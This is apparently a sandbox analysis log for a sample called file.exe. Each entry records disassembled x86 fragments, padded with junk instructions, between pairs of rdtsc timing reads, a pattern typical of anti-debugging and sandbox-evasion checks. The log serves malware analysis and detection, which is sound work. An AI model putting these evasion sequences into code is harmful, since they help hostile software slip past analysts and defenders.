Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EB9F second address: 72EBC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jbe 00007F36ED361E0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F275 second address: 72F28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F36EC8543C8h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F28F second address: 72F2BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F36ED361E08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push esi 0x0000000f jmp 00007F36ED361E10h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jl 00007F36ED361E06h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F305 second address: 72F352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 je 00007F36EC8543DAh 0x0000000c jmp 00007F36EC8543D4h 0x00000011 nop 0x00000012 ja 00007F36EC8543D1h 0x00000018 jmp 00007F36EC8543CBh 0x0000001d lea eax, dword ptr [ebp+1247FE27h] 0x00000023 mov ecx, dword ptr [ebp+122D2B2Bh] 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jng 00007F36EC8543CCh 0x00000032 jp 00007F36EC8543C6h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F352 second address: 72F3CB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F36ED361E11h 0x00000008 jmp 00007F36ED361E0Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F36ED361E08h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c sub dword ptr [ebp+122D1B58h], esi 0x00000032 lea eax, dword ptr [ebp+1247FDE3h] 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F36ED361E08h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov dword ptr [ebp+12455BACh], edx 0x00000058 jnl 00007F36ED361E09h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F3CB second address: 72F3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F3D0 second address: 7130B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c clc 0x0000000d call dword ptr [ebp+1244BFAEh] 0x00000013 pushad 0x00000014 pushad 0x00000015 ja 00007F36ED361E06h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B7A second address: 772B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772CE9 second address: 772CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772E4D second address: 772E53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772E53 second address: 772E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772FCE second address: 772FD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775625 second address: 775629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777F15 second address: 777F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D0h 0x00000009 jnl 00007F36EC8543C6h 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F36EC8543D6h 0x00000019 jmp 00007F36EC8543D8h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777F61 second address: 777F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777F67 second address: 777F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777F6B second address: 777FBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E17h 0x00000007 jo 00007F36ED361E06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F36ED361E14h 0x00000016 jmp 00007F36ED361E19h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778242 second address: 77824D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77824D second address: 778251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C4A9 second address: 77C4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F36EC8543C6h 0x0000000c jc 00007F36EC8543C6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C4C2 second address: 77C4C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C912 second address: 77C922 instructions: 0x00000000 rdtsc 0x00000002 je 00007F36EC8543C6h 0x00000008 jg 00007F36EC8543C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA8A second address: 77CA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA94 second address: 77CA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA98 second address: 77CAAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CAAA second address: 77CAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CAB1 second address: 77CAB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CAB7 second address: 77CABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FD41 second address: 77FD55 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F36ED361E06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FD55 second address: 77FD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F617 second address: 77F644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36ED361E11h 0x00000009 pop ebx 0x0000000a jmp 00007F36ED361E17h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F644 second address: 77F649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F79B second address: 77F79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F79F second address: 77F7C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F36EC8543D1h 0x0000000c jbe 00007F36EC8543C6h 0x00000012 pop esi 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F7C1 second address: 77F7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F36ED361E16h 0x0000000c push eax 0x0000000d jnc 00007F36ED361E06h 0x00000013 jno 00007F36ED361E06h 0x00000019 pop eax 0x0000001a jng 00007F36ED361E0Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787511 second address: 787552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543CDh 0x00000007 je 00007F36EC8543EAh 0x0000000d jmp 00007F36EC8543D6h 0x00000012 jmp 00007F36EC8543CEh 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787552 second address: 787563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36ED361E0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787563 second address: 78756D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F36EC8543C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7862D8 second address: 7862DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7865F9 second address: 7865FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7865FF second address: 786603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786603 second address: 786607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786607 second address: 786619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786619 second address: 786625 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F36EC8543CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ED7E second address: 72ED94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ED94 second address: 72EDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 nop 0x00000007 ja 00007F36EC8543CCh 0x0000000d mov ebx, dword ptr [ebp+1247FE22h] 0x00000013 mov ecx, esi 0x00000015 add eax, ebx 0x00000017 mov ch, dh 0x00000019 push eax 0x0000001a jnp 00007F36EC8543D4h 0x00000020 push eax 0x00000021 push edx 0x00000022 jg 00007F36EC8543C6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EDC2 second address: 72EE23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F36ED361E08h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 add ch, 00000051h 0x00000026 mov edi, 149A1DF1h 0x0000002b push 00000004h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F36ED361E08h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Dh 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 push ecx 0x00000048 adc di, D820h 0x0000004d pop edx 0x0000004e nop 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78676A second address: 786782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786782 second address: 786786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78724F second address: 787255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787255 second address: 787278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F36ED361E10h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F36ED361E0Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C59E second address: 78C5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C5A5 second address: 78C5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C5AE second address: 78C5CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C751 second address: 78C756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C756 second address: 78C75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C75C second address: 78C760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CA16 second address: 78CA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D25D second address: 78D262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D508 second address: 78D513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D513 second address: 78D519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D519 second address: 78D51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D51E second address: 78D525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DAB4 second address: 78DB09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36EC8543D4h 0x00000008 jmp 00007F36EC8543D6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 je 00007F36EC8543E6h 0x0000001a push edi 0x0000001b jmp 00007F36EC8543CEh 0x00000020 pop edi 0x00000021 pushad 0x00000022 jng 00007F36EC8543C6h 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DDEC second address: 78DDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F36ED361E0Ch 0x0000000b jo 00007F36ED361E06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DDFD second address: 78DE02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DE02 second address: 78DE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796288 second address: 79628C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79628C second address: 7962B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F36ED361E0Eh 0x00000012 jnl 00007F36ED361E06h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F36ED361E06h 0x00000022 ja 00007F36ED361E06h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7962B4 second address: 7962B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7965C7 second address: 7965CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796715 second address: 796720 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796720 second address: 79672A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79672A second address: 79673D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F36EC8543C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F36EC8543C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79673D second address: 796741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796741 second address: 796758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F36EC8543CCh 0x0000000c jg 00007F36EC8543C6h 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7969C8 second address: 7969D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F36ED361E12h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7969D4 second address: 7969DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7969DA second address: 796A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jbe 00007F36ED361E06h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 pushad 0x00000015 jnc 00007F36ED361E06h 0x0000001b jmp 00007F36ED361E0Eh 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796A07 second address: 796A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796C8A second address: 796C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796DE4 second address: 796DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796DE8 second address: 796E0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F36ED361E0Ah 0x00000011 popad 0x00000012 jo 00007F36ED361E1Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E0B second address: 796E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D2B5 second address: 79D2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F36ED361E11h 0x0000000f pop edi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D3FE second address: 79D40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F36EC8543CAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D40F second address: 79D413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D413 second address: 79D429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F36EC8543CDh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
